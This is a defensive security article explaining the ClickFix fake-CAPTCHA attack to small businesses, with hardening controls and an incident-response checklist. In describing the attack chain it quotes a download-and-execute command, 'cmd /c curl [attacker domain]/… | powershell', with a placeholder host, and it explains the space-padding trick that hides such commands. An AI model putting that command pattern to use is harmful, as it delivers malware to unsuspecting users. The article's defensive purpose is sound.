The Fake CAPTCHA Scam (ClickFix): How Employees Get Tricked Into Infecting Their Own PC

What the fake CAPTCHA actually looks like on screen

Your bookkeeper clicks a link in a vendor email — a PDF invoice hosted on a site she does not recognize but has no reason to distrust. The page loads and shows a checkbox that looks exactly like the “I’m not a robot” widget she has clicked a thousand times. She clicks it. The box spins for a second, then changes to something she has not seen before:

Verification failed. Complete the steps below to confirm you are human.
Step 1: Press Windows Key + R
Step 2: Press CTRL + V
Step 3: Press Enter

There is a small animated graphic showing the keys. The design is clean, the spelling is correct, and there is a countdown timer so she does not stop to think.

She presses the three keys. A small white box appears in the corner of her screen for about a quarter of a second and vanishes. The page says “Verification successful” and the invoice loads. Nothing looks wrong. She goes back to work.

Her machine is now infected, and she did it herself.

This is called ClickFix. Proofpoint named the technique in a security brief published in November 2024, and it has been reported since under the labels “fake CAPTCHA,” “ClearFake,” and “paste-and-run.” ESET’s Threat Report for the first half of 2025 found ClickFix detections rose more than 500% compared with the second half of 2024, making it roughly 8% of all attacks the company blocked and the second most common attack vector after phishing. It is not exotic anymore. It is ordinary.

The one rule that stops this entire attack class

Teach your staff this sentence and nothing else, and you have covered ninety percent of your exposure:

No legitimate website has ever asked you to press Win+R and paste something to prove you are human.

Not Microsoft. Not your bank. Not Google. Not the vendor portal. Not the shipping company. A real CAPTCHA is a checkbox, a puzzle, or nothing visible at all. It never involves your keyboard leaving the browser window. If a web page gives you keyboard instructions that involve the Windows key, the Run box, PowerShell, Terminal, or Command Prompt, the page is an attack. Close the tab. There is no legitimate version of that request, and there never will be.

Everything else in this article is defense in depth. That sentence is the control.

How the ClickFix chain actually works

The part people miss is that the clipboard was loaded before the victim ever pressed a key. Here is the sequence.

1. The lure page loads. It can be a compromised WordPress site, a malicious ad, a fake document-sharing page, or a spoofed brand portal. Recorded Future’s March 2026 research on ClickFix campaigns documented lures impersonating QuickBooks, Booking.com and Birdeye, among others.
2. JavaScript silently writes a command to the clipboard. The user clicks the fake checkbox; that click is the browser gesture the page needs to be allowed to write to the clipboard. Whatever was in the clipboard is replaced.
3. The instructions appear. Win+R opens the Windows Run dialog. Ctrl+V pastes the attacker’s command. Enter executes it.
4. The command runs as the user. CERT Polska’s February 2026 write-up of a company-wide ClickFix infection documented a command in the form cmd /c curl [attacker domain]/… | powershell — a one-liner that downloads a script and pipes it straight into PowerShell without ever writing an obvious installer to disk.
5. The payload lands. That same CERT Polska case ended with Latrodectus and a SOCKS proxy tool called Supper, the kind of foothold that precedes ransomware.

Attackers pad the command with hundreds of spaces so what shows in the Run box looks like “Cloudflare Verification ID: 8837-2214” rather than a command. The victim glances at it and hits Enter.

The variants keep moving. Microsoft’s Security Blog documented a variant in February 2026 it called CrashFix that delivered a Python-based remote access trojan, and Microsoft Defender Experts described a campaign the same month that swapped Win+R for Win+X then I — a shortcut that opens Windows Terminal instead. Huntress reported a campaign in late 2025 that dressed the whole thing as a full-screen Windows Update splash screen with “Working on updates” animations and a “Human Verification” panel, delivering the LummaC2 and Rhadamanthys infostealers. The wrapper changes. The mechanic — you run the command yourself — does not.

Why your email filter and your antivirus never saw it

This is the part worth understanding, because it explains why the money you already spent did not help.

Control you probably have	What it looks for	Why ClickFix walks past it
Email attachment scanning	Malicious files and macros in attachments	There is no attachment. The lure is a link, often to a legitimate compromised site.
Macro blocking in Office	VBA running from downloaded documents	No Office document is involved at any point.
Browser download warnings	Executables written to the Downloads folder	The browser downloads nothing. The download is performed by curl or PowerShell after the fact.
Credential-phishing detection	Fake login pages harvesting passwords	Nobody is asked for a password. There is no login form.
Default endpoint antivirus	Known-bad files on disk	The first stage is a script piped through memory, launched by trusted signed Windows binaries.

Every step is performed by software your business trusts, at the explicit instruction of an authenticated user sitting at the keyboard. Many endpoint tools in default configuration treat “user opened Run and typed something” as normal administrative behavior, because for twenty years it was. The attack is effective precisely because it converts your employee into the delivery mechanism, and there is no downstream technical control that can cleanly distinguish a user who meant it from a user who was tricked.

This is where ClickFix separates from the phishing you already train against. Our guide to protecting your business from phishing attacks covers malicious attachments and fake login pages, and our walkthrough for when an employee clicked a phishing link covers what to do after a bad click. ClickFix involves neither a malicious attachment nor a credential-harvest page — the click alone is harmless, and the damage only happens at the three keystrokes afterward, which is why the standard phishing advice does not cover it and why it needs to be taught as its own thing. It sits closer to the manipulation patterns described in our piece on social engineering attacks than to anything in your spam filter.

The Mac version: Terminal instead of Win+R

Mac users are not exempt, and telling them they are is how you get infected. Jamf Threat Labs published analysis in April 2026 of a macOS ClickFix variant that used an applescript:// link to launch Script Editor straight from the browser, then ran an obfuscated command that piped a decoded payload into zsh and dropped an Atomic Stealer variant. Other reported macOS variants use the classic form: “open Terminal, paste this, press Return,” where the pasted line is a curl command piped to bash. Recorded Future’s March 2026 report named MacSync as a stealer delivered through macOS ClickFix campaigns.

Same rule, different keyboard: no legitimate website asks you to open Terminal or Script Editor and paste a command.

Disabling the Win+R Run box is your highest-value control

You can turn off the Run dialog for standard users, and for most 5-to-150 person businesses this costs nothing and breaks nothing. Ordinary staff — sales, accounting, operations, reception — have not used Win+R in years.

The policy is “Remove Run menu from Start Menu,” found under User Configuration > Administrative Templates > Start Menu and Taskbar in Group Policy. Setting it to Enabled disables the Win+R shortcut as well as the Start menu entry. In Intune, it is available as the same ADMX-backed setting in the Settings Catalog under Start Menu and Taskbar. If you have no domain and no Intune, the equivalent is the NoRun DWORD set to 1 under HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, which you can push with a script.

Be honest with yourself about what it does and does not do. It closes the single most common execution path, it costs nothing, and it turns a silent infection into an employee saying “this website told me to press Win+R and nothing happened” — which is exactly the report you want. It does not stop a user who is talked into opening Windows Terminal from the Win+X menu, or PowerShell from the Start menu, or pasting into the File Explorer address bar. Layer accordingly.

Control	Where it lives	Effort	What it buys you
The one-sentence rule, taught to everyone	Your next staff meeting	Ten minutes	The highest coverage of anything here
Remove Run menu from Start Menu	Group Policy / Intune Settings Catalog	One afternoon	Closes the Win+R path for standard users
Remove local admin rights from daily accounts	Windows local users / Intune	One afternoon	Limits what the payload can install and persist
ASR rule: Block execution of potentially obfuscated scripts	Microsoft Defender / Intune Attack Surface Reduction	Under an hour	Catches many encoded PowerShell stages
PowerShell Constrained Language Mode	Group Policy / script	Test first	Blocks much of what stage-one scripts need
Restrict Terminal on Macs	MDM configuration profile	Varies	Same idea, macOS side

On the browser side, there is one bright spot and a lot of nothing. Opera shipped a feature called Paste Protect in July 2026 that watches clipboard write events and blocks command-line-shaped payloads before they land, with a warning banner. As of that reporting, Chrome, Edge and Firefox had shipped no native equivalent. Do not build your plan around a browser feature you probably are not running.

If it already happened, do these things in this order

Most people find this article mid-incident. Work down the list.

1. Disconnect the machine from the network. Unplug the ethernet cable, turn off Wi-Fi. Physically.
2. Do not shut it down and do not restart it. The first stage frequently lives in memory. Powering off destroys the evidence anyone would need to tell you what was taken. Leave it running and disconnected.
3. Go to a different device. Every credential reset from here happens on a phone or a known-clean computer, never the infected one. Resetting a password on a compromised machine hands the attacker the new password.
4. Reset the user’s Microsoft 365 or Google Workspace password from an admin account on that clean device.
5. Revoke every active session. In the Microsoft 365 admin center: Users > Active users > select the user > Sign out of all sessions (in the Microsoft Entra admin center the same action is Revoke sessions). In Google Workspace: Directory > Users > select the user > Security > Sign user out, and reset sign-in cookies. This step is not optional — see below.
6. Treat every credential saved in that browser as stolen. Banking, payroll, the shipping account, the vendor portal, the domain registrar, the router admin password, the social accounts. Reset them from the clean device, prioritizing anything that moves money.
7. Check for what the attacker set up while they had access. Look for new mailbox forwarding rules and inbox rules, new MFA methods or app passwords registered on the account, and new OAuth app grants.
8. Rebuild the machine. After anyone you have engaged is done imaging it. Do not “clean” it and hand it back.
9. Tell your bank and your payroll provider if the user had access to either.

Why “just change the password” is not enough

Infostealers do not only take passwords. They take the session cookies your browser holds after you have already logged in and already passed MFA. A stolen session cookie is a valid, already-authenticated ticket. An attacker who imports it into their own browser is inside the mailbox without ever seeing a login screen, and changing the password does not invalidate that ticket on its own — which is why the explicit sign-out-everywhere action in step 5 is the one that actually ends the intrusion. The same stolen password set then gets replayed against every other service the person uses, which is the mechanic behind a credential stuffing attack. If the mailbox itself was accessed, our phishing email response process covers the reporting and cleanup steps that follow.

What to do this week

1. Send one email to all staff, today. Subject: “If a website tells you to press Windows+R, it is an attack.” Three sentences and a screenshot description. That is the whole message.
2. Say it out loud at your next all-hands and add the Mac version: no website ever asks you to open Terminal.
3. Tell people the reporting rule explicitly: if you already pressed the keys, say so immediately, and nobody is in trouble. Silence is what turns one machine into the whole network.
4. Enable “Remove Run menu from Start Menu” for non-technical staff. Pilot it on two users for a week, then roll it out.
5. Turn on the Attack Surface Reduction rule for obfuscated scripts in Defender, in audit mode first if you are cautious.
6. Confirm you know where the “sign out of all sessions” button is in your admin console, before you need it at 4:45 on a Friday.
7. Put this scenario into your awareness training rotation. If you do not run any, our roundup of security awareness training platforms covers the options that fit a small budget — pick one that includes a paste-and-run module, not just email simulations.

The uncomfortable truth about ClickFix is that it is not a technology problem you can buy your way out of. It is a request that sounds reasonable, made at a moment when someone is busy. One sentence, taught once and repeated, is worth more than anything else on the list.